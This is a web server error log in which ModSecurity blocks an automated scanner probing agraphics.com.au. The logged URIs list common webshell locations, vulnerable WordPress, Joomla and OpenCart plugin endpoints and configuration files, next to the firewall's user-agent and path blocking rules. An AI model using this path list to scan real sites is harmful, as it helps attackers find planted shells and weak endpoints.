[Tue Mar 24 01:49:30.573281 2026] [:error] [pid 31798:tid 31818] [client 194.5.82.68:45889] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acF9KndtW_1bksndFbY6QQAAABI"]
[Tue Mar 24 01:49:30.889527 2026] [:error] [pid 56238:tid 56366] [client 194.5.82.91:22801] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/legacy-widget/"] [unique_id "acF9KlSqceFAZRgPDq6vTwAAANI"]
[Tue Mar 24 01:49:31.071024 2026] [:error] [pid 31798:tid 31804] [client 194.5.82.68:34185] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "acF9K3dtW_1bksndFbY6RwAAAAQ"]
[Tue Mar 24 01:49:31.261420 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.65:47395] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "acF9K3dtW_1bksndFbY6SgAAABE"]
[Tue Mar 24 01:49:31.447044 2026] [:error] [pid 56238:tid 56367] [client 194.5.82.91:43345] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "acF9K1SqceFAZRgPDq6vUQAAANM"]
[Tue Mar 24 01:49:31.635701 2026] [:error] [pid 56435:tid 56523] [client 194.5.82.93:58147] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "acF9K8rwr-l5A-s9ryCQ2gAAARY"]
[Tue Mar 24 01:49:31.816474 2026] [:error] [pid 56237:tid 56331] [client 194.5.82.66:42509] [client 194.5.82.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "acF9KwymO0MnzQb90MMzbQAAAIo"]
[Tue Mar 24 01:49:31.998132 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.78:58063] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/inc/WPSEO.php"] [unique_id "acF9K8rwr-l5A-s9ryCQ2wAAAQ4"]
[Tue Mar 24 01:49:32.178699 2026] [:error] [pid 56238:tid 56357] [client 194.5.82.168:39139] [client 194.5.82.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/core/files/base.php"] [unique_id "acF9LFSqceFAZRgPDq6vUgAAAMk"]
[Tue Mar 24 01:49:32.371068 2026] [:error] [pid 56238:tid 56365] [client 194.5.82.88:42767] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-orders-stats.php"] [unique_id "acF9LFSqceFAZRgPDq6vUwAAANE"]
[Tue Mar 24 01:49:32.553830 2026] [:error] [pid 56238:tid 56361] [client 194.5.82.103:51373] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/contact-form-7/admin/js/contact-form-7-admin.js.php"] [unique_id "acF9LFSqceFAZRgPDq6vVQAAAM0"]
[Tue Mar 24 01:49:32.735680 2026] [:error] [pid 56435:tid 56518] [client 194.5.82.95:25455] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/temp/update_extract/revslider.php"] [unique_id "acF9LMrwr-l5A-s9ryCQ3gAAARE"]
[Tue Mar 24 01:49:32.916981 2026] [:error] [pid 56435:tid 56502] [client 194.5.82.91:42669] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "acF9LMrwr-l5A-s9ryCQ3wAAAQM"]
[Tue Mar 24 01:49:33.097968 2026] [:error] [pid 56435:tid 56505] [client 194.5.82.91:64263] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/plugins/shell.php"] [unique_id "acF9Lcrwr-l5A-s9ryCQ4gAAAQY"]
[Tue Mar 24 01:49:33.282455 2026] [:error] [pid 56435:tid 56511] [client 194.5.82.76:56755] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "acF9Lcrwr-l5A-s9ryCQ4wAAAQs"]
[Tue Mar 24 01:49:33.466929 2026] [:error] [pid 56435:tid 56520] [client 194.5.82.92:49211] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-settings.php"] [unique_id "acF9Lcrwr-l5A-s9ryCQ5QAAARM"]
[Tue Mar 24 01:49:33.653544 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.59:63371] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "acF9Lcrwr-l5A-s9ryCQ5gAAAQ8"]
[Tue Mar 24 01:49:33.835887 2026] [:error] [pid 56238:tid 56369] [client 194.5.82.76:55631] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/storage/framework/cache/data/shell.php"] [unique_id "acF9LVSqceFAZRgPDq6vVwAAANU"]
[Tue Mar 24 01:49:34.017717 2026] [:error] [pid 56435:tid 56501] [client 194.5.82.94:53417] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/cache/supercache/shell.php"] [unique_id "acF9Lsrwr-l5A-s9ryCQ6gAAAQI"]
[Tue Mar 24 01:49:34.198527 2026] [:error] [pid 31798:tid 31813] [client 194.5.82.96:47899] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/advanced-cache.php"] [unique_id "acF9LndtW_1bksndFbY6VQAAAA0"]
[Tue Mar 24 01:49:34.378583 2026] [:error] [pid 56238:tid 56350] [client 194.5.82.83:25819] [client 194.5.82.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/latest-posts.php"] [unique_id "acF9LlSqceFAZRgPDq6vWgAAAMI"]
[Tue Mar 24 01:49:34.557496 2026] [:error] [pid 56236:tid 56317] [client 194.5.82.84:20463] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/rss.php"] [unique_id "acF9LnapFgYp0uZ8twAs-gAAAFg"]
[Tue Mar 24 01:49:34.743580 2026] [:error] [pid 31798:tid 31810] [client 194.5.82.59:40049] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/search.php"] [unique_id "acF9LndtW_1bksndFbY6WAAAAAo"]
[Tue Mar 24 01:49:34.922305 2026] [:error] [pid 56236:tid 56297] [client 194.5.82.92:48129] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-comments.php"] [unique_id "acF9LnapFgYp0uZ8twAs_gAAAEQ"]
[Tue Mar 24 01:49:35.103544 2026] [:error] [pid 56236:tid 56301] [client 194.5.82.85:65117] [client 194.5.82.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/system/core.php"] [unique_id "acF9L3apFgYp0uZ8twAtAQAAAEg"]
[Tue Mar 24 01:49:35.284610 2026] [:error] [pid 31798:tid 31820] [client 194.5.82.91:41641] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/components/com_ajax/ajax.php"] [unique_id "acF9L3dtW_1bksndFbY6WgAAABQ"]
[Tue Mar 24 01:49:35.465368 2026] [:error] [pid 31798:tid 31803] [client 194.5.82.104:47413] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/components/com_fields/models/fields.php"] [unique_id "acF9L3dtW_1bksndFbY6WwAAAAM"]
[Tue Mar 24 01:49:35.652038 2026] [:error] [pid 56238:tid 56354] [client 194.5.82.86:33453] [client 194.5.82.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_login/tmpl/default.php"] [unique_id "acF9L1SqceFAZRgPDq6vXgAAAMY"]
[Tue Mar 24 01:49:35.838063 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.76:29957] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/plugins/system/shell.php"] [unique_id "acF9L8rwr-l5A-s9ryCQ8AAAAQQ"]
[Tue Mar 24 01:49:36.019344 2026] [:error] [pid 56435:tid 56513] [client 194.5.82.80:47711] [client 194.5.82.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/tmp/core.php"] [unique_id "acF9MMrwr-l5A-s9ryCQ8wAAAQw"]
[Tue Mar 24 01:49:36.201300 2026] [:error] [pid 56238:tid 56372] [client 194.5.82.57:60885] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cache/core.php"] [unique_id "acF9MFSqceFAZRgPDq6vYAAAANg"]
[Tue Mar 24 01:49:36.382539 2026] [:error] [pid 56238:tid 56351] [client 194.5.82.67:27479] [client 194.5.82.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/core.php"] [unique_id "acF9MFSqceFAZRgPDq6vYQAAAMM"]
[Tue Mar 24 01:49:36.563969 2026] [:error] [pid 56435:tid 56501] [client 194.5.82.73:22475] [client 194.5.82.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/language/overrides/system.php"] [unique_id "acF9MMrwr-l5A-s9ryCQ9wAAAQI"]
[Tue Mar 24 01:49:36.742985 2026] [:error] [pid 56238:tid 56370] [client 194.5.82.71:52589] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/cache/core.php"] [unique_id "acF9MFSqceFAZRgPDq6vZQAAANY"]
[Tue Mar 24 01:49:36.924160 2026] [:error] [pid 56435:tid 56507] [client 194.5.82.79:35179] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/components/com_media/controller.php"] [unique_id "acF9MMrwr-l5A-s9ryCQ-AAAAQc"]
[Tue Mar 24 01:49:37.105751 2026] [:error] [pid 56238:tid 56363] [client 194.5.82.57:37573] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/[template]/error.php"] [unique_id "acF9MVSqceFAZRgPDq6vZwAAAM8"]
[Tue Mar 24 01:49:38.810109 2026] [:error] [pid 31798:tid 31813] [client 194.5.82.100:57217] [client 194.5.82.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/modules/mod_login/core.php"] [unique_id "acF9MndtW_1bksndFbY6YAAAAA0"]
[Tue Mar 24 01:49:38.990362 2026] [:error] [pid 31798:tid 31810] [client 194.5.82.80:33589] [client 194.5.82.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/plugins/user/profile/core.php"] [unique_id "acF9MndtW_1bksndFbY6YgAAAAo"]
[Tue Mar 24 01:49:39.172070 2026] [:error] [pid 31798:tid 31808] [client 194.5.82.77:58543] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/configuration.php"] [unique_id "acF9M3dtW_1bksndFbY6ZQAAAAg"]
[Tue Mar 24 01:49:39.350633 2026] [:error] [pid 56236:tid 56308] [client 194.5.82.102:42721] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/controller/extension/module/shell.php"] [unique_id "acF9M3apFgYp0uZ8twAtBAAAAE8"]
[Tue Mar 24 01:49:39.531379 2026] [:error] [pid 56435:tid 56504] [client 194.5.82.76:64581] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/image/data/core.php"] [unique_id "acF9M8rwr-l5A-s9ryCRAAAAAQU"]
[Tue Mar 24 01:49:39.713096 2026] [:error] [pid 56237:tid 56341] [client 194.5.82.56:35299] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system/storage/cache/core.php"] [unique_id "acF9MwymO0MnzQb90MMzcgAAAJQ"]
[Tue Mar 24 01:49:39.894712 2026] [:error] [pid 56237:tid 56345] [client 194.5.82.74:23161] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/catalog/view/theme/default/template/common/shell.php"] [unique_id "acF9MwymO0MnzQb90MMzdAAAAJg"]
[Tue Mar 24 01:49:40.073581 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.63:27653] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/view/template/extension/module/shell.php"] [unique_id "acF9NMrwr-l5A-s9ryCRAgAAAQ8"]
[Tue Mar 24 01:49:40.254575 2026] [:error] [pid 31798:tid 31820] [client 194.5.82.90:42931] [client 194.5.82.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/download/core.php"] [unique_id "acF9NHdtW_1bksndFbY6aAAAABQ"]
[Tue Mar 24 01:49:40.434596 2026] [:error] [pid 31798:tid 31821] [client 194.5.82.93:22367] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system/engine/loader.php"] [unique_id "acF9NHdtW_1bksndFbY6aQAAABU"]
[Tue Mar 24 01:49:40.614737 2026] [:error] [pid 56435:tid 56500] [client 194.5.82.88:37165] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/controller/common/filemanager/core.php"] [unique_id "acF9NMrwr-l5A-s9ryCRBgAAAQE"]
[Tue Mar 24 01:49:40.794224 2026] [:error] [pid 56435:tid 56524] [client 194.5.82.57:62409] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/catalog/controller/journal3/settings.php"] [unique_id "acF9NMrwr-l5A-s9ryCRCQAAARc"]
[Tue Mar 24 01:49:40.973907 2026] [:error] [pid 56435:tid 56509] [client 194.5.82.100:64161] [client 194.5.82.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/storage/app/public/core.php"] [unique_id "acF9NMrwr-l5A-s9ryCRCgAAAQk"]
[Tue Mar 24 01:49:41.152630 2026] [:error] [pid 56236:tid 56298] [client 194.5.82.104:61223] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/storage/framework/cache/data/core.php"] [unique_id "acF9NXapFgYp0uZ8twAtBgAAAEU"]
[Tue Mar 24 01:49:41.331323 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.94:51905] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/public/core.php"] [unique_id "acF9Ncrwr-l5A-s9ryCRDQAAAQQ"]
[Tue Mar 24 01:49:41.512962 2026] [:error] [pid 56236:tid 56300] [client 194.5.82.95:37373] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/vendor/composer/installed.php"] [unique_id "acF9NXapFgYp0uZ8twAtCQAAAEc"]
[Tue Mar 24 01:49:41.694242 2026] [:error] [pid 31798:tid 31814] [client 194.5.82.54:20171] [client 194.5.82.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/storage/framework/sessions/core.php"] [unique_id "acF9NXdtW_1bksndFbY6bQAAAA4"]
[Tue Mar 24 01:49:41.878417 2026] [:error] [pid 56236:tid 56307] [client 194.5.82.99:48659] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bootstrap/cache/config.php"] [unique_id "acF9NXapFgYp0uZ8twAtCwAAAE4"]
